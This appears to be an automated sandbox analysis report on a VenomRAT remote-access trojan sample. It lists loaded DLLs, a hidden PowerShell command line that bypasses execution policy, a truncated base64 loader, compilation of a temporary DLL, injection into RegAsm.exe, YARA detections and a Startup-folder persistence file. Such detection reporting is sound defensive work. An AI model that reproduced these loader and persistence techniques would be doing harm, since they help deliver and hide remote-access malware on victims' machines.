Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mmdevapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: Automation.pdb source: powershell.exe, 00000005.00000002.2351616241.0000029DF4150000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.pdb source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.pdbhP source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\SYSTEM32\rasman.dll.pdb source: powershell.exe, 00000005.00000002.2349927128.0000029DF3D9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AL_MACHINE\SOFTWARE\Microsoft\.NETFramework.pdb source: powershell.exe, 00000005.00000002.2349927128.0000029DF3D9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb? source: powershell.exe, 00000005.00000002.2349927128.0000029DF3DFE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Managem..Automation.pdb source: powershell.exe, 00000005.00000002.2351616241.0000029DF4150000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($gG5BB6nIWq04P4lUnWY3VOJjV3A5CYmVg9cnPFtGjiGhxkVpeQbrYT3S7VpH6rG7EfYQc8EinRTxHlvvhVav746MFKq4ZlK2cJcSMFMgM2EGAGKVj4kkRU9JiLKRRKJBGbV8IdicI3jF0zM9AUUeBkkHJTtA55OCsCAivLMGWIbXu4Ts9KR6zp

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD345700BD pushad ; iretd	0_2_00007FFD345700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3456B500 push ebx; retf	5_2_00007FFD3456B51A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345400BD pushad ; iretd	5_2_00007FFD345400C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34548167 push ebx; ret	5_2_00007FFD3454816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34545278 push eax; ret	5_2_00007FFD34545439
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD346115A2 push E85F9476h; ret	5_2_00007FFD346115A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0645B5A1 push es; ret	9_2_0645B5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06453241 push es; ret	9_2_06453250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06453261 push es; ret	9_2_06453230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06453261 push es; ret	9_2_06453270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_064532C0 push es; ret	9_2_064532D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_064532E1 push es; ret	9_2_064532F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06453281 push es; ret	9_2_06453290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_064532A0 push es; ret	9_2_064532B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_064532A0 push es; ret	9_2_06453310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06453321 push es; ret	9_2_06453330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06458001 push es; ret	9_2_06458180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_064531C0 push es; ret	9_2_06453230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_064531A0 push es; ret	9_2_06453230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06452AB1 push es; ret	9_2_06452AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06D65B50 push esp; iretd	9_2_06D65BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06D61E30 push es; ret	9_2_06D61E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06D64571 push es; ret	9_2_06D64580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06D62110 push es; retn 0010h	9_2_06D62162

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll

Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
